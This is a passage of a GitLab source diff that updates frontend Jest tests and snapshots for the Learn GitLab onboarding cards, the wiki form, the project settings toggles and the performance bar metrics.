+ class="gl-mb-4"
+ >
+ <span
+ class="gl-text-green-500"
+ >
+ <svg
+ aria-hidden="true"
+ class="gl-icon s16"
+ data-testid="completed-icon"
+ >
+ <use
+ href="#check-circle-filled"
+ />
+ </svg>
+
+ Create or import a repository
+
+ </span>
+
+ <!---->
+ </div>
+ <div
+ class="gl-mb-4"
+ >
+ <span>
+ <a
+ class="gl-link"
+ href="http://example.com/"
+ >
+ Set up CI/CD
+ </a>
+ </span>
+
+ <!---->
+ </div>
+ <div
+ class="gl-mb-4"
+ >
+ <span>
+ <a
+ class="gl-link"
+ href="http://example.com/"
+ >
+ Start a free Ultimate trial
+ </a>
+ </span>
+
+ <!---->
+ </div>
+ <div
+ class="gl-mb-4"
+ >
+ <span>
+ <a
+ class="gl-link"
+ href="http://example.com/"
+ >
+ Add code owners
+ </a>
+ </span>
+
+ <span
+ class="gl-font-style-italic gl-text-gray-500"
+ data-testid="trial-only"
+ >
+
+ - Trial only
+
+ </span>
+ </div>
+ <div
+ class="gl-mb-4"
+ >
+ <span>
+ <a
+ class="gl-link"
+ href="http://example.com/"
+ >
+ Add merge request approval
+ </a>
+ </span>
+
+ <span
+ class="gl-font-style-italic gl-text-gray-500"
+ data-testid="trial-only"
+ >
+
+ - Trial only
+
+ </span>
+ </div>
+ </div>
+
+ <!---->
+ </div>
+ </div>
+ <div
+ class="col gl-mb-6"
+ >
+ <div
+ class="gl-card gl-pt-0 learn-gitlab-section-card"
>
- Submit a merge request
- </gl-link-stub>
- </span>
- </li>
- <li>
- <span>
- <gl-link-stub
- href="http://example.com/"
+ <!---->
+
+ <div
+ class="gl-card-body"
+ >
+ <div
+ class="learn-gitlab-section-card-header"
+ >
+ <img
+ src="/assets/learn_gitlab/section_plan.svg"
+ />
+
+ <h2
+ class="gl-font-lg gl-mb-3"
+ >
+ Plan and execute
+ </h2>
+
+ <p
+ class="gl-text-gray-700 gl-mb-6"
+ >
+ Create a workflow for your new workspace, and learn how GitLab features work together:
+ </p>
+ </div>
+
+ <div
+ class="gl-mb-4"
+ >
+ <span>
+ <a
+ class="gl-link"
+ href="http://example.com/"
+ >
+ Create an issue
+ </a>
+ </span>
+
+ <!---->
+ </div>
+ <div
+ class="gl-mb-4"
+ >
+ <span>
+ <a
+ class="gl-link"
+ href="http://example.com/"
+ >
+ Submit a merge request
+ </a>
+ </span>
+
+ <!---->
+ </div>
+ </div>
+
+ <!---->
+ </div>
+ </div>
+ <div
+ class="col gl-mb-6"
+ >
+ <div
+ class="gl-card gl-pt-0 learn-gitlab-section-card"
>
- Run a security scan
- </gl-link-stub>
- </span>
- </li>
-</ul>
+ <!---->
+
+ <div
+ class="gl-card-body"
+ >
+ <div
+ class="learn-gitlab-section-card-header"
+ >
+ <img
+ src="/assets/learn_gitlab/section_deploy.svg"
+ />
+
+ <h2
+ class="gl-font-lg gl-mb-3"
+ >
+ Deploy
+ </h2>
+
+ <p
+ class="gl-text-gray-700 gl-mb-6"
+ >
+ Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:
+ </p>
+ </div>
+
+ <div
+ class="gl-mb-4"
+ >
+ <span>
+ <a
+ class="gl-link"
+ href="http://example.com/"
+ >
+ Run a Security scan using CI/CD
+ </a>
+ </span>
+
+ <!---->
+ </div>
+ </div>
+
+ <!---->
+ </div>
+ </div>
+ </div>
+</div>
`;
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap
index dd899b93302..07c7f2df09e 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap
+++ b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap
@@ -29,21 +29,21 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-gray-500 gl-mb-2"
data-testid="completion-percentage"
>
- 25% completed
+ 22% completed
</p>
<div
class="progress"
- max="8"
+ max="9"
value="2"
>
<div
- aria-valuemax="8"
+ aria-valuemax="9"
aria-valuemin="0"
aria-valuenow="2"
class="progress-bar"
role="progressbar"
- style="width: 25%;"
+ style="width: 22.22222222222222%;"
>
<!---->
</div>
@@ -94,6 +94,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
<img
+ alt="Invite your colleagues"
src="http://example.com/images/illustration.svg"
/>
@@ -151,6 +152,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
<img
+ alt="Create or import a repository"
src="http://example.com/images/illustration.svg"
/>
@@ -200,6 +202,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
<img
+ alt="Set-up CI/CD"
src="http://example.com/images/illustration.svg"
/>
@@ -249,6 +252,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
<img
+ alt="Try GitLab Ultimate for free"
src="http://example.com/images/illustration.svg"
/>
@@ -303,6 +307,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
<img
+ alt="Add code owners"
src="http://example.com/images/illustration.svg"
/>
@@ -357,6 +362,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
<img
+ alt="Enable require merge approvals"
src="http://example.com/images/illustration.svg"
/>
@@ -422,6 +428,57 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
<img
+ alt="Create an issue"
+ src="http://example.com/images/illustration.svg"
+ />
+
+ <h6>
+ Create an issue
+ </h6>
+
+ <p
+ class="gl-font-sm gl-text-gray-700"
+ >
+ Create/import issues (tickets) to collaborate on ideas and plan work.
+ </p>
+
+ <a
+ class="gl-link"
+ href="http://example.com/"
+ rel="noopener noreferrer"
+ target="_blank"
+ >
+ Create an issue
+ </a>
+ </div>
+ </div>
+
+ <!---->
+ </div>
+ </div>
+
+ <div
+ class="col gl-mb-6"
+ >
+ <div
+ class="gl-card gl-pt-0"
+ >
+ <!---->
+
+ <div
+ class="gl-card-body"
+ >
+ <div
+ class="gl-text-right gl-h-5"
+ >
+ <!---->
+ </div>
+
+ <div
+ class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
+ >
+ <img
+ alt="Submit a merge request (MR)"
src="http://example.com/images/illustration.svg"
/>
@@ -487,11 +544,12 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
<img
+ alt="Run a Security scan using CI/CD"
src="http://example.com/images/illustration.svg"
/>
<h6>
- Run a security scan
+ Run a Security scan using CI/CD
</h6>
<p
@@ -506,7 +564,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
rel="noopener noreferrer"
target="_blank"
>
- Run a Security scan
+ Run a Security scan using CI/CD
</a>
</div>
</div>
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_section_card_spec.js.snap b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_section_card_spec.js.snap
new file mode 100644
index 00000000000..ad8db0822cc
--- /dev/null
+++ b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_section_card_spec.js.snap
@@ -0,0 +1,67 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Learn GitLab Section Card renders correctly 1`] = `
+<gl-card-stub
+ bodyclass=""
+ class="gl-pt-0 learn-gitlab-section-card"
+ footerclass=""
+ headerclass=""
+>
+ <div
+ class="learn-gitlab-section-card-header"
+ >
+ <img
+ src="/assets/learn_gitlab/section_workspace.svg"
+ />
+
+ <h2
+ class="gl-font-lg gl-mb-3"
+ >
+ Set up your workspace
+ </h2>
+
+ <p
+ class="gl-text-gray-700 gl-mb-6"
+ >
+ Complete these tasks first so you can enjoy GitLab's features to their fullest:
+ </p>
+ </div>
+
+ <learn-gitlab-section-link-stub
+ action="userAdded"
+ value="[object Object]"
+ />
+ <learn-gitlab-section-link-stub
+ action="issueCreated"
+ value="[object Object]"
+ />
+ <learn-gitlab-section-link-stub
+ action="gitWrite"
+ value="[object Object]"
+ />
+ <learn-gitlab-section-link-stub
+ action="mergeRequestCreated"
+ value="[object Object]"
+ />
+ <learn-gitlab-section-link-stub
+ action="securityScanEnabled"
+ value="[object Object]"
+ />
+ <learn-gitlab-section-link-stub
+ action="pipelineCreated"
+ value="[object Object]"
+ />
+ <learn-gitlab-section-link-stub
+ action="trialStarted"
+ value="[object Object]"
+ />
+ <learn-gitlab-section-link-stub
+ action="codeOwnersEnabled"
+ value="[object Object]"
+ />
+ <learn-gitlab-section-link-stub
+ action="requiredMrApprovalsEnabled"
+ value="[object Object]"
+ />
+</gl-card-stub>
+`;
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_a_spec.js b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_a_spec.js
index 2154358de51..64ace341038 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_a_spec.js
+++ b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_a_spec.js
@@ -1,22 +1,38 @@
-import { shallowMount } from '@vue/test-utils';
+import { GlProgressBar } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
import LearnGitlabA from '~/pages/projects/learn_gitlab/components/learn_gitlab_a.vue';
import { testActions } from './mock_data';
describe('Learn GitLab Design A', () => {
let wrapper;
+ const createWrapper = () => {
+ wrapper = mount(LearnGitlabA, { propsData: { actions: testActions } });
+ };
+
+ beforeEach(() => {
+ createWrapper();
+ });
+
afterEach(() => {
wrapper.destroy();
wrapper = null;
});
- const createWrapper = () => {
- wrapper = shallowMount(LearnGitlabA, { propsData: { actions: testActions } });
- };
+ it('renders correctly', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
- it('should render the loading state', () => {
- createWrapper();
+ it('renders the progress percentage', () => {
+ const text = wrapper.find('[data-testid="completion-percentage"]').text();
- expect(wrapper.element).toMatchSnapshot();
+ expect(text).toBe('22% completed');
+ });
+
+ it('renders the progress bar with correct values', () => {
+ const progressBar = wrapper.findComponent(GlProgressBar);
+
+ expect(progressBar.attributes('value')).toBe('2');
+ expect(progressBar.attributes('max')).toBe('9');
});
});
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_b_spec.js b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_b_spec.js
index fbb989fae32..207944bfa1f 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_b_spec.js
+++ b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_b_spec.js
@@ -26,13 +26,13 @@ describe('Learn GitLab Design B', () => {
it('renders the progress percentage', () => {
const text = wrapper.find('[data-testid="completion-percentage"]').text();
- expect(text).toEqual('25% completed');
+ expect(text).toBe('22% completed');
});
it('renders the progress bar with correct values', () => {
- const progressBar = wrapper.find(GlProgressBar);
+ const progressBar = wrapper.findComponent(GlProgressBar);
expect(progressBar.attributes('value')).toBe('2');
- expect(progressBar.attributes('max')).toBe('8');
+ expect(progressBar.attributes('max')).toBe('9');
});
});
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_card_spec.js b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_card_spec.js
new file mode 100644
index 00000000000..de6aca08235
--- /dev/null
+++ b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_card_spec.js
@@ -0,0 +1,26 @@
+import { shallowMount } from '@vue/test-utils';
+import LearnGitlabSectionCard from '~/pages/projects/learn_gitlab/components/learn_gitlab_section_card.vue';
+import { testActions } from './mock_data';
+
+const defaultSection = 'workspace';
+
+describe('Learn GitLab Section Card', () => {
+ let wrapper;
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const createWrapper = () => {
+ wrapper = shallowMount(LearnGitlabSectionCard, {
+ propsData: { section: defaultSection, actions: testActions },
+ });
+ };
+
+ it('renders correctly', () => {
+ createWrapper({ completed: false });
+
+ expect(wrapper.element).toMatchSnapshot();
+ });
+});
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js
new file mode 100644
index 00000000000..882d233a239
--- /dev/null
+++ b/spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js
@@ -0,0 +1,49 @@
+import { shallowMount } from '@vue/test-utils';
+import LearnGitlabSectionLink from '~/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue';
+
+const defaultAction = 'gitWrite';
+const defaultProps = {
+ title: 'Create Repository',
+ description: 'Some description',
+ url: 'https://example.com',
+ completed: false,
+};
+
+describe('Learn GitLab Section Link', () => {
+ let wrapper;
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const createWrapper = (action = defaultAction, props = {}) => {
+ wrapper = shallowMount(LearnGitlabSectionLink, {
+ propsData: { action, value: { ...defaultProps, ...props } },
+ });
+ };
+
+ it('renders no icon when not completed', () => {
+ createWrapper(undefined, { completed: false });
+
+ expect(wrapper.find('[data-testid="completed-icon"]').exists()).toBe(false);
+ });
+
+ it('renders the completion icon when completed', () => {
+ createWrapper(undefined, { completed: true });
+
+ expect(wrapper.find('[data-testid="completed-icon"]').exists()).toBe(true);
+ });
+
+ it('renders no trial only when it is not required', () => {
+ createWrapper();
+
+ expect(wrapper.find('[data-testid="trial-only"]').exists()).toBe(false);
+ });
+
+ it('renders trial only when trial is required', () => {
+ createWrapper('codeOwnersEnabled');
+
+ expect(wrapper.find('[data-testid="trial-only"]').exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/mock_data.js b/spec/frontend/pages/projects/learn_gitlab/components/mock_data.js
index caac667e2b1..d6ee2b00c8e 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/mock_data.js
+++ b/spec/frontend/pages/projects/learn_gitlab/components/mock_data.js
@@ -39,4 +39,9 @@ export const testActions = {
completed: false,
svg: 'http://example.com/images/illustration.svg',
},
+ issueCreated: {
+ url: 'http://example.com/',
+ completed: false,
+ svg: 'http://example.com/images/illustration.svg',
+ },
};
diff --git a/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js b/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
index bee628c3a56..878721666ff 100644
--- a/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
+++ b/spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js
@@ -46,6 +46,7 @@ const defaultProps = {
pagesHelpPath: '/help/user/project/pages/introduction#gitlab-pages-access-control',
packagesAvailable: false,
packagesHelpPath: '/help/user/packages/index',
+ requestCveAvailable: true,
};
describe('Settings Panel', () => {
@@ -76,6 +77,7 @@ describe('Settings Panel', () => {
const findRepositoryFeatureSetting = () =>
findRepositoryFeatureProjectRow().find(projectFeatureSetting);
const findProjectVisibilitySettings = () => wrapper.find({ ref: 'project-visibility-settings' });
+ const findIssuesSettingsRow = () => wrapper.find({ ref: 'issues-settings' });
const findAnalyticsRow = () => wrapper.find({ ref: 'analytics-settings' });
const findProjectVisibilityLevelInput = () => wrapper.find('[name="project[visibility_level]"]');
const findRequestAccessEnabledInput = () =>
@@ -174,6 +176,16 @@ describe('Settings Panel', () => {
});
});
+ describe('Issues settings', () => {
+ it('has label for CVE request toggle', () => {
+ wrapper = mountComponent();
+
+ expect(findIssuesSettingsRow().findComponent(GlToggle).props('label')).toBe(
+ settingsPanel.i18n.cve_request_toggle_label,
+ );
+ });
+ });
+
describe('Repository', () => {
it('should set the repository help text when the visibility level is set to private', () => {
wrapper = mountComponent({ currentSettings: { visibilityLevel: visibilityOptions.PRIVATE } });
@@ -228,7 +240,7 @@ describe('Settings Panel', () => {
});
});
- describe('Pipelines', () => {
+ describe('CI/CD', () => {
it('should enable the builds access level input when the repository is enabled', () => {
wrapper = mountComponent({
currentSettings: { repositoryAccessLevel: featureAccessLevel.EVERYONE },
@@ -304,6 +316,17 @@ describe('Settings Panel', () => {
expect(findContainerRegistryEnabledInput().props('disabled')).toBe(true);
});
+
+ it('has label for the toggle', () => {
+ wrapper = mountComponent({
+ currentSettings: { visibilityLevel: visibilityOptions.PUBLIC },
+ registryAvailable: true,
+ });
+
+ expect(findContainerRegistrySettings().findComponent(GlToggle).props('label')).toBe(
+ settingsPanel.i18n.containerRegistryLabel,
+ );
+ });
});
describe('Git Large File Storage', () => {
@@ -342,6 +365,15 @@ describe('Settings Panel', () => {
expect(findLFSFeatureToggle().props('disabled')).toBe(true);
});
+ it('has label for toggle', () => {
+ wrapper = mountComponent({
+ currentSettings: { repositoryAccessLevel: featureAccessLevel.EVERYONE },
+ lfsAvailable: true,
+ });
+
+ expect(findLFSFeatureToggle().props('label')).toBe(settingsPanel.i18n.lfsLabel);
+ });
+
it('should not change lfsEnabled when disabling the repository', async () => {
// mount over shallowMount, because we are aiming to test rendered state of toggle
wrapper = mountComponent({ currentSettings: { lfsEnabled: true } }, mount);
@@ -432,6 +464,17 @@ describe('Settings Panel', () => {
expect(findPackagesEnabledInput().props('disabled')).toBe(true);
});
+
+ it('has label for toggle', () => {
+ wrapper = mountComponent({
+ currentSettings: { repositoryAccessLevel: featureAccessLevel.EVERYONE },
+ packagesAvailable: true,
+ });
+
+ expect(findPackagesEnabledInput().findComponent(GlToggle).props('label')).toBe(
+ settingsPanel.i18n.packagesLabel,
+ );
+ });
});
describe('Pages', () => {
diff --git a/spec/frontend/pages/shared/wikis/wiki_alert_spec.js b/spec/frontend/pages/shared/wikis/components/wiki_alert_spec.js
index 6a18473b1a7..6a18473b1a7 100644
--- a/spec/frontend/pages/shared/wikis/wiki_alert_spec.js
+++ b/spec/frontend/pages/shared/wikis/components/wiki_alert_spec.js
diff --git a/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js b/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js
new file mode 100644
index 00000000000..8ab0b87d2ee
--- /dev/null
+++ b/spec/frontend/pages/shared/wikis/components/wiki_form_spec.js
@@ -0,0 +1,222 @@
+import { mount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import WikiForm from '~/pages/shared/wikis/components/wiki_form.vue';
+
+describe('WikiForm', () => {
+ let wrapper;
+
+ const findForm = () => wrapper.find('form');
+ const findTitle = () => wrapper.find('#wiki_title');
+ const findFormat = () => wrapper.find('#wiki_format');
+ const findContent = () => wrapper.find('#wiki_content');
+ const findMessage = () => wrapper.find('#wiki_message');
+ const findSubmitButton = () => wrapper.findByTestId('wiki-submit-button');
+ const findCancelButton = () => wrapper.findByTestId('wiki-cancel-button');
+ const findTitleHelpLink = () => wrapper.findByTestId('wiki-title-help-link');
+ const findMarkdownHelpLink = () => wrapper.findByTestId('wiki-markdown-help-link');
+
+ const pageInfoNew = {
+ persisted: false,
+ uploadsPath: '/project/path/-/wikis/attachments',
+ wikiPath: '/project/path/-/wikis',
+ helpPath: '/help/user/project/wiki/index',
+ markdownHelpPath: '/help/user/markdown',
+ markdownPreviewPath: '/project/path/-/wikis/.md/preview-markdown',
+ createPath: '/project/path/-/wikis/new',
+ };
+
+ const pageInfoPersisted = {
+ ...pageInfoNew,
+ persisted: true,
+
+ title: 'My page',
+ content: 'My page content',
+ format: 'markdown',
+ path: '/project/path/-/wikis/home',
+ };
+
+ function createWrapper(persisted = false, pageInfo = {}) {
+ wrapper = extendedWrapper(
+ mount(
+ WikiForm,
+ {
+ provide: {
+ formatOptions: {
+ Markdown: 'markdown',
+ RDoc: 'rdoc',
+ AsciiDoc: 'asciidoc',
+ Org: 'org',
+ },
+ pageInfo: {
+ ...(persisted ? pageInfoPersisted : pageInfoNew),
+ ...pageInfo,
+ },
+ },
+ },
+ { attachToDocument: true },
+ ),
+ );
+
+ jest.spyOn(wrapper.vm, 'onBeforeUnload');
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it.each`
+ title | persisted | message
+ ${'my page'} | ${false} | ${'Create my page'}
+ ${'my-page'} | ${false} | ${'Create my page'}
+ ${'somedir/my-page'} | ${false} | ${'Create somedir/my page'}
+ ${'my-page'} | ${true} | ${'Update my page'}
+ `(
+ 'updates the commit message to $message when title is $title and persisted=$persisted',
+ async ({ title, message, persisted }) => {
+ createWrapper(persisted);
+
+ findTitle().setValue(title);
+
+ await wrapper.vm.$nextTick();
+
+ expect(findMessage().element.value).toBe(message);
+ },
+ );
+
+ it('sets the commit message to "Update My page" when the page first loads when persisted', async () => {
+ createWrapper(true);
+
+ await wrapper.vm.$nextTick();
+
+ expect(findMessage().element.value).toBe('Update My page');
+ });
+
+ it.each`
+ value | text
+ ${'markdown'} | ${'[Link Title](page-slug)'}
+ ${'rdoc'} | ${'{Link title}[link:page-slug]'}
+ ${'asciidoc'} | ${'link:page-slug[Link title]'}
+ ${'org'} | ${'[[page-slug]]'}
+ `('updates the link help message when format=$value is selected', async ({ value, text }) => {
+ createWrapper();
+
+ findFormat().find(`option[value=${value}]`).setSelected();
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.text()).toContain(text);
+ });
+
+ it('starts with no unload warning', async () => {
+ createWrapper();
+
+ await wrapper.vm.$nextTick();
+
+ window.dispatchEvent(new Event('beforeunload'));
+
+ expect(wrapper.vm.onBeforeUnload).not.toHaveBeenCalled();
+ });
+
+ it.each`
+ persisted | titleHelpText | titleHelpLink
+ ${true} | ${'You can move this page by adding the path to the beginning of the title.'} | ${'/help/user/project/wiki/index#move-a-wiki-page'}
+ ${false} | ${'You can specify the full path for the new file. We will automatically create any missing directories.'} | ${'/help/user/project/wiki/index#create-a-new-wiki-page'}
+ `(
+ 'shows appropriate title help text and help link for when persisted=$persisted',
+ async ({ persisted, titleHelpLink, titleHelpText }) => {
+ createWrapper(persisted);
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.text()).toContain(titleHelpText);
+ expect(findTitleHelpLink().attributes().href).toEqual(titleHelpLink);
+ },
+ );
+
+ it('shows correct link for wiki specific markdown docs', async () => {
+ createWrapper();
+
+ await wrapper.vm.$nextTick();
+
+ expect(findMarkdownHelpLink().attributes().href).toEqual(
+ '/help/user/markdown#wiki-specific-markdown',
+ );
+ });
+
+ describe('when wiki content is updated', () => {
+ beforeEach(() => {
+ createWrapper();
+
+ const input = findContent();
+ input.setValue('Lorem ipsum dolar sit!');
+ input.element.dispatchEvent(new Event('input'));
+
+ return wrapper.vm.$nextTick();
+ });
+
+ it('sets before unload warning', () => {
+ window.dispatchEvent(new Event('beforeunload'));
+
+ expect(wrapper.vm.onBeforeUnload).toHaveBeenCalled();
+ });
+
+ it('when form submitted, unsets before unload warning', async () => {
+ findForm().element.dispatchEvent(new Event('submit'));
+
+ await wrapper.vm.$nextTick();
+
+ window.dispatchEvent(new Event('beforeunload'));
+
+ expect(wrapper.vm.onBeforeUnload).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('submit button state', () => {
+ it.each`
+ title | content | buttonState | disabledAttr
+ ${'something'} | ${'something'} | ${'enabled'} | ${undefined}
+ ${''} | ${'something'} | ${'disabled'} | ${'disabled'}
+ ${'something'} | ${''} | ${'disabled'} | ${'disabled'}
+ ${''} | ${''} | ${'disabled'} | ${'disabled'}
+ ${' '} | ${' '} | ${'disabled'} | ${'disabled'}
+ `(
+ "when title='$title', content='$content', then the button is $buttonState'",
+ async ({ title, content, disabledAttr }) => {
+ createWrapper();
+
+ findTitle().setValue(title);
+ findContent().setValue(content);
+
+ await wrapper.vm.$nextTick();
+
+ expect(findSubmitButton().attributes().disabled).toBe(disabledAttr);
+ },
+ );
+
+ it.each`
+ persisted | buttonLabel
+ ${true} | ${'Save changes'}
+ ${false} | ${'Create page'}
+ `('when persisted=$persisted, label is set to $buttonLabel', ({ persisted, buttonLabel }) => {
+ createWrapper(persisted);
+
+ expect(findSubmitButton().text()).toBe(buttonLabel);
+ });
+ });
+
+ describe('cancel button state', () => {
+ it.each`
+ persisted | redirectLink
+ ${false} | ${'/project/path/-/wikis'}
+ ${true} | ${'/project/path/-/wikis/home'}
+ `(
+ 'when persisted=$persisted, redirects the user to appropriate path',
+ ({ persisted, redirectLink }) => {
+ createWrapper(persisted);
+
+ expect(findCancelButton().attributes().href).toEqual(redirectLink);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/performance_bar/components/detailed_metric_spec.js b/spec/frontend/performance_bar/components/detailed_metric_spec.js
index 6ddd047d549..c35bd772c86 100644
--- a/spec/frontend/performance_bar/components/detailed_metric_spec.js
+++ b/spec/frontend/performance_bar/components/detailed_metric_spec.js
@@ -1,24 +1,40 @@
import { shallowMount } from '@vue/test-utils';
import { nextTick } from 'vue';
import { trimText } from 'helpers/text_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import DetailedMetric from '~/performance_bar/components/detailed_metric.vue';
import RequestWarning from '~/performance_bar/components/request_warning.vue';
+import { sortOrders } from '~/performance_bar/constants';
describe('detailedMetric', () => {
let wrapper;
- const createComponent = (props) => {
- wrapper = shallowMount(DetailedMetric, {
- propsData: {
- ...props,
- },
- });
+ const defaultProps = {
+ currentRequest: {},
+ metric: 'gitaly',
+ header: 'Gitaly calls',
+ keys: ['feature', 'request'],
+ };
+
+ const createComponent = (props = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(DetailedMetric, {
+ propsData: { ...defaultProps, ...props },
+ }),
+ );
};
const findAllTraceBlocks = () => wrapper.findAll('pre');
const findTraceBlockAtIndex = (index) => findAllTraceBlocks().at(index);
- const findExpandBacktraceBtns = () => wrapper.findAll('[data-testid="backtrace-expand-btn"]');
+ const findExpandBacktraceBtns = () => wrapper.findAllByTestId('backtrace-expand-btn');
const findExpandedBacktraceBtnAtIndex = (index) => findExpandBacktraceBtns().at(index);
+ const findDetailsLabel = () => wrapper.findByTestId('performance-bar-details-label');
+ const findSortOrderSwitcher = () => wrapper.findByTestId('performance-bar-sort-order');
+ const findEmptyDetailNotice = () => wrapper.findByTestId('performance-bar-empty-detail-notice');
+ const findAllDetailDurations = () =>
+ wrapper.findAllByTestId('performance-item-duration').wrappers.map((w) => w.text());
+ const findAllSummaryItems = () =>
+ wrapper.findAllByTestId('performance-bar-summary-item').wrappers.map((w) => w.text());
afterEach(() => {
wrapper.destroy();
@@ -26,13 +42,7 @@ describe('detailedMetric', () => {
describe('when the current request has no details', () => {
beforeEach(() => {
- createComponent({
- currentRequest: {},
- metric: 'gitaly',
- header: 'Gitaly calls',
- details: 'details',
- keys: ['feature', 'request'],
- });
+ createComponent();
});
it('does not render the element', () => {
@@ -42,36 +52,171 @@ describe('detailedMetric', () => {
describe('when the current request has details', () => {
const requestDetails = [
- { duration: '100', feature: 'find_commit', request: 'abcdef', backtrace: ['hello', 'world'] },
{
- duration: '23',
+ duration: 23,
feature: 'rebase_in_progress',
request: '',
backtrace: ['other', 'example'],
},
+ { duration: 100, feature: 'find_commit', request: 'abcdef', backtrace: ['hello', 'world'] },
];
- describe('with a default metric name', () => {
+ describe('with an empty detail', () => {
+ beforeEach(() => {
+ createComponent({
+ currentRequest: {
+ details: {
+ gitaly: {
+ duration: '0ms',
+ calls: 0,
+ details: [],
+ warnings: [],
+ },
+ },
+ },
+ });
+ });
+
+ it('displays an empty title', () => {
+ expect(findDetailsLabel().text()).toBe('0');
+ });
+
+ it('displays an empty modal', () => {
+ expect(findEmptyDetailNotice().text()).toContain('No gitaly calls for this request');
+ });
+
+ it('does not display sort by switcher', () => {
+ expect(findSortOrderSwitcher().exists()).toBe(false);
+ });
+ });
+
+ describe('when the details have a summary field', () => {
beforeEach(() => {
createComponent({
currentRequest: {
details: {
gitaly: {
duration: '123ms',
- calls: '456',
+ calls: 456,
+ details: requestDetails,
+ warnings: ['gitaly calls: 456 over 30'],
+ summary: {
+ 'In controllers': 100,
+ 'In middlewares': 20,
+ },
+ },
+ },
+ },
+ });
+ });
+
+ it('displays a summary section', () => {
+ expect(findAllSummaryItems()).toEqual([
+ 'Total 456',
+ 'Total duration 123ms',
+ 'In controllers 100',
+ 'In middlewares 20',
+ ]);
+ });
+ });
+
+ describe('when the details have summaryOptions option', () => {
+ const gitalyDetails = {
+ duration: '123ms',
+ calls: 456,
+ details: requestDetails,
+ warnings: ['gitaly calls: 456 over 30'],
+ };
+
+ describe('when the details have summaryOptions > hideTotal option', () => {
+ beforeEach(() => {
+ createComponent({
+ currentRequest: {
+ details: {
+ gitaly: { ...gitalyDetails, summaryOptions: { hideTotal: true } },
+ },
+ },
+ });
+ });
+
+ it('displays a summary section', () => {
+ expect(findAllSummaryItems()).toEqual(['Total duration 123ms']);
+ });
+ });
+
+ describe('when the details have summaryOptions > hideDuration option', () => {
+ beforeEach(() => {
+ createComponent({
+ currentRequest: {
+ details: {
+ gitaly: { ...gitalyDetails, summaryOptions: { hideDuration: true } },
+ },
+ },
+ });
+ });
+
